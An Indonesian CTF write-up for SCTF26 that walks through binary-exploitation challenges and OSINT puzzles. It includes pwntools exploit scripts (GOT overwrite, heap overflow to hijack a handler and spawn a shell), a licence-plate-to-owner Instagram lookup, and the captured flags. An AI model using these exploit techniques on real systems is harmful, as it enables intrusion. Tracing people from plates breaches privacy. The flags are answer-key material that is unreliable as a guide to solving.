io.sendlineafter(b"Pilih menu: ", b"3")
io.recvuntil(b"> ")
payload1, payload2 = build_dlresolve_payload("cat flag.txt")
# Ini masuk ke gets(local_38) asli di fungsi toko.
io.sendline(payload1)
# Buang output printf normal dari program.
io.recvuntil(b"dikirim ke: ")
io.recvline()
# Ini dibaca oleh ROP: gets(.bss)
io.sendline(payload2)
io.interactive()
if __name__ == "__main__":
main()
Flag: SCTF26{p0l1n0m14l_d4n_b0f_b1k1n_k0p3r4s1_j3b0l}
Round Robin
Tingkat Kesulitan : Medium
Deskripsi:
Seorang SysAdmin pemula di perusahaan rintisan mencoba memamerkan kejeniusannya dengan merancang sistem penjadwalan OS (Scheduler) kustom dari nol. Dia sesumbar bahwa pembagian kerjanya sempurna dan mustahil disusupi. Buktikan bahwa dia salah. Eksploitasi antrean prosesnya, ambil alih kendali tertinggi, dan jadilah raja di sistem itu!\n\nnc 103.127.98.249 5003
Langkah Penyelesaian:
Link AI:
https://chatgpt.com/share/6a4790ab-aa04-83ec-993a-685400edbec4
Aku mulai dari checksec:
checksec file chall
Hasil:
~/ctf/sctf/pwnrobin
❯ checksec chall
[*] '/home/claritys/ctf/sctf/pwnrobin/chall'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Ini lumayan ngasih arah. Karena Partial RELRO, GOT masih writable. Karena PIE disabled, alamat fungsi di binary stabil, tidak random. Jadi kalau ada bug arbitrary write atau out-of-bounds write, target enak banget: overwrite GOT ke fungsi win.
Di sini aku belum langsung yakin ada GOT overwrite. Tapi kombinasi Partial RELRO + No PIE bikin aku kepikiran: "kalau ada write primitive, ini bisa jadi gampang."
Ketemu fungsi di 0x401399 hasil dari decompile (GHIDRA) :
void FUN_00401399(void)
{
puts("\n[!!!] ANOMALI DITERIMA. SYSTEM OVERRIDE SUCCESS.");
system("cat flag.txt");
// WARNING: Subroutine does not return
exit(0);
}
Fungsi ini nge-print pesan anomaly, lalu menjalankan:
cat flag.txt
Jadi asumsi berikutnya: 0x401399 adalah win function.
Kenapa yakin? Karena fungsi ini:
Tidak dipanggil dari menu normal.
Memanggil
system("cat flag.txt").
Itu udah cukup kuat buat jadi target exploit nanti.
Karena aku gak tau lanjutannya gimana, alhasil aku tanya bro ChatGPT biar ngebantu. Turns out, ternyata aku salah kasih hasil decompilenya.. tapi aku ngasih objdumpnya 🥹
Tapi ya ternyata bugnya itu ada di address 401291 (IDA):
int sub_401291()
{
int v1; // [rsp+Ch] [rbp-4h] BYREF
printf("Pilih index proses (0-9) untuk di-edit: ");
__isoc23_scanf("%d", &v1);
printf("Set New Burst Time (long long): ");
__isoc23_scanf("%lld", (char *)&unk_4040A0 + 24 * v1 + 8);
printf("Set Status (0=Wait, 1=Finished): ");
__isoc23_scanf("%d", (char *)&unk_4040A0 + 24 * v1 + 16);
re
Karena dia ini tidak dicek, jadinya bisa pakai index negatif biar bisa ngeoverwrite ke GOT.
Yang di mana, 4199321 itu adalah decimal dari address win.
>>> hex(4199321)
'0x401399'
Flag: SCTF26{r0und_r0b1n_scheduler_n1ghtm4re_72918403a}
Abbys
Tingkat Kesulitan: Medium
Deskripsi:
Sebuah sinyal aneh terdeteksi dari stasiun penelitian bawah laut 'Abbys'. Tim ekspedisi sebelumnya menghilang tanpa jejak, meninggalkan sebuah antarmuka usang yang masih terus menyala dan memancarkan data. Mampukah kamu menyelami kedalaman kode ini dan merebut akses sistem sebelum tekanan air menghancurkan segalanya?\n\nnc 103.127.98.249 5001
Langkah Penyelesaian:
Link AI:
https://chatgpt.com/share/6a4862b0-3a08-83ec-a0e2-3088fe0e3121
Pertama cek proteksi:
~/ctf/sctf
❯ checksec ./abbys
[*] '/home/claritys/ctf/sctf/abbys'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Dari sini beberapa asumsi awal:
PIE mati, berarti address fungsi di binary fix. Kalau ada win function atau hidden function, bisa langsung dipakai tanpa leak.
NX nyala, jadi shellcode di stack/heap bukan jalan paling enak.
Canary tidak ada, tapi belum tentu bug-nya stack overflow.
Partial RELRO bikin GOT overwrite mungkin bisa, tapi jangan langsung maksa ke sana kalau ada primitive lebih simpel.
Pas lihat decompile, ada tiga menu utama:
1. Allocate Object
2. Edit Object
3. Execute Object
Object-nya kurang lebih bentuknya begini:
struct obj {
void (*handler)(); // offset 0
char *data; // offset 8
int size; // offset 16
int active; // offset 20
};
Waktu allocate, handler default-nya diisi ke fungsi biasa:
*(_QWORD *)qword_4040C0[idx] = sub_4012C2;
Terus waktu execute:
return (*(__int64 (**)(void))qword_4040C0[idx])();
Nah ini langsung menarik. Kalau kita bisa overwrite handler, kita bisa control RIP secara rapi.
Ada fungsi di 0x4011d6 yang kelihatan kayak win/gate:
int sub_4011D6()
{
if (!dword_404110)
{
puts("[-] The gate is locked. You must traverse the abyss first.");
exit(1);
}
puts("[!] Gate opened. Welcome to the other side.");
...
printf("[+] FLAG: %s\n", s);
return system("/bin/sh");
}
Asumsi awal: ini target akhir. Alasannya jelas, dia baca flag.txt dan panggil /bin/sh.
Tapi ada guard:
if (!dword_404110) exit(1);
Berarti tidak bisa langsung lompat ke 0x4011d6, kecuali global dword_404110 sudah diset.
Lalu ada fungsi lain di 0x4012d8:
int sub_4012D8()
{
dword_404110 = 1;
puts("\n[!] ENTERING THE ABYSS [!]");
...
}
Ini keliatan kayak fungsi unlock. Jadi asumsi berikutnya:
Panggil
0x4012d8dulu buat setdword_404110 = 1.Baru panggil
0x4011d6buat buka gate dan spawn shell.
Asumsi ini cukup kuat karena flow-nya literal banget: gate bilang harus traverse abyss dulu, abyss function ngeset global gate.
Di allocate:
qword_4040C0[idx] = malloc(0x18);
...
*(_QWORD *)(obj + 8) = malloc(size);
read(0, obj->data, size);
Size boleh 0 sampai 512.
Di edit:
read(0, obj->data, obj->size + 48);
Ini bug-nya. Allocate data cuma size, tapi edit baca size + 48. Jadi selalu ada overflow 48 byte.
Awalnya aku mikir:
Kalau allocate object size
0,malloc(0)tetap ngasih pointer valid.Edit object itu akan baca
0 + 48 = 48byte.Kalau heap layout object berurutan, overflow dari
obj0->databisa nabrakobj1->handler.
Kenapa asumsi heap layout ini masuk akal? (semoga) Karena program allocate berurutan:
obj0 struct
obj0 data
obj1 struct
obj1 data
Semua allocation kecil, tidak ada free, jadi allocator cenderung naruh chunk berdekatan. Nah, sekarang tinggal tanya ChatGPT buat bantu refine pemikiranku. Kalau bener ya berarti alhamdulillah, kalau enggak ya debugging lagi 😂.
Nah, ternyata benar. Alhasil aku tinggal nyuruh dia bikin script dan jadi deh:
from pwn import *
elf = context.binary = ELF("./abbys", checksec=False)
context.log_level = "info"
WIN = 0x4011d6
UNLOCK = 0x4012d8
OFFSET = 0x20
HOST = args.HOST or "127.0.0.1"
PORT = int(args.PORT or 1337)
def start():
if args.LOCAL:
return process("./abbys")
return remote(HOST, PORT)
p = start()
def alloc(idx, size, data=b"A"):
p.sendlineafter(b">> ", b"1")
p.sendlineafter(b"Index (0-9): ", str(idx).encode())
p.sendlineafter(b"Size: ", str(size).encode())
p.sendafter(b"Data: ", data.ljust(size, b"A"))
def edit(idx, data):
p.sendlineafter(b">> ", b"2")
p.sendlineafter(b"Index (0-9): ", str(idx).encode())
p.sendafter(b"Data: ", data)
def execute(idx):
p.sendlineafter(b">> ", b"3")
p.sendlineafter(b"Index (0-9): ", str(idx).encode())
def overwrite_obj1_handler(addr):
payload = flat(
b"A" * OFFSET,
p64(addr),
p64(0),
p32(0x18),
p32(1),
)
edit(0, payload)
alloc(0, 0x18, b"A" * 0x18)
alloc(1, 0x18, b"B" * 0x18)
overwrite_obj1_handler(UNLOCK)
execute(1)
p.sendlineafter(b"Size of payload: ", b"0")
overwrite_obj1_handler(WIN)
execute(1)
p.interactive()
Flag: SCTF26{duh_puh_pwn_st4ck_d1tambah_h3ap_1ni_m4h_b4hl1l_jug4_b1ngng}
OSINT
Sang Atmin
Tingkat Kesulitan : Medium
Deskripsi:
jika kamu sudah mendaftar SCTF26 pasti kamu kenal dengan sang atmin, bisakah kamu mengambil flag yg disembunyikan oleh atmin?
jangan lupa follow atmin yak heheh
Hint 1 : Instagram
Hint 2 : directory web "/”
Langkah Penyelesaian:
Pada chall ini saya langsung ke ignya atmin stevenjr_yt (Fyi, saia sudah follow dari lamaa tp tdk di follback aowkaowk:>) Untuk hint selanjutnya saya lihat di postingan cerita si atmin
Nah disini langsung meluncur ke link websitenya milik atmin yang ada di bio, karena di hint diberitahukan terdapat directory “/” disini saya coba tembak /flag tp hasilnya gaada apa apa dan menyadari disini linknya ada query ?utm_source=ig&utm_medium=social&utm_content=link_in_bio&fbclid=PAZXh0bgNhZW0CMTEAc3J0YwZhcHBfaWQPOTM2NjE5NzQzMzkyNDU5AAGnLkh4Dl2xFT165h7v_OHQlK-ogh_bFTngkc1MISPYtL6TmZ26Av1UmbxaXvw_aem_iYNl2YuNMdVa1Q-XXzBS0w, nahh saya hapuslah dan trakhir saya tambah /flag.txt di linknya :D
Flag: SCTF26{0s1nt_k3_lf1_m4nt4p_c0y_S62df326}
Plat
Tingkat Kesulitan : Medium
Deskripsi:
ini mobil siapa bro? coba cariin si ini mobil punya siapa
Format flag: SCTF26{username_instagram_jenis_mobil_platmobil}
note: username instagram kecil semua, jenis mobil huruf pertama kapital dan plat huruf kapital
Example: SCTF26{stevenjr_yt_Honda_HRV_Class_BE2230AGY}
Langkah Penyelesaian: Diberikan foto plat kendaraan mobil yang bertuliskan B 1673 SSO, disini awalnya saya cek di samsat jakarta, tapi hasilnya data tidak ditemukan.
Dan saya baru sadar bahwa Plat tsb ternyata sampai maret 2021, Hmm pantes ajaa wkwkkw, Disini saya balik ke deskripsi chall, bahwasannya kita juga harus mencari usn instagram orang yang punya mobil tsb :>, Disini saya searching aja di google dengan kata kunci “mobil B 1673 SS0 2021 instagram”. Hasil pencarian menunjukkan ada di instagram nya raffinagita1717 (https://www.instagram.com/p/CLis8CTMI7D/).
Oh yeaa saya dapat doksli nya:V, disini langsung saya cari nama mobil nya menggunakan google lens
Nah langsung saya urutkan sesuai format flagnya SCTF26{username_instagram_jenis_mobil_platmobil}
Flag: SCTF26{raffinagita1717_Mercedes_Benz_V_Class_B1673SSO}
Airport
Tingkat Kesulitan : Medium
Deskripsi:
dibilang ini parkiran tpi bukan, ini bandara!
bisahkah kamu menemukan ini bandara mana?
Langkah Penyelesaian:
Gataw dimana jujur asli, tapi pas coba submit asal di web ada easter egg jir :v
Dan yap tinggal bruteforce sampe ketemu jarak terdekat dan solve :v
Yang ternyata tempatnya di Bandar Udara Muhammad Taufiq Kiemas
Flag: SCTF26{w3lc0m3_t0_l4mpung_0s1nt_m4st3r}
atmin suka naik gunung
Tingkat Kesulitan : Medium
Deskripsi :
si atmin ini lagi suka sukanya naik gunung, cuma dia ini ga mau naik gunung yg beneran
bisa ga cari nama gunungnya apa?
Format Flag: SCTF26{Nama_Gunung_Nama_Developer} huruf pertama kapital
Langkah Penyelesaian: Disini sempat bingung gunungnya nih gunung jadi jadian atau gunung asli, tapi setelah konfirmasi ini gunung asli saya coba masukin 1 1 (bruteforce aowkaow)
Awalnya nih salah
Gunung_BromoGunung_RinjaniGunung Merbabu
Eh ada 1 gunung random kid yang pas dimasukin bisa coy :v
Yaitu Gunung_Talamau
Flag: SCTF26{Gunung_Talamau_Imaginature_Studio}
Flag
KTCG Community https://discord.gg/Q5dVVBs6xX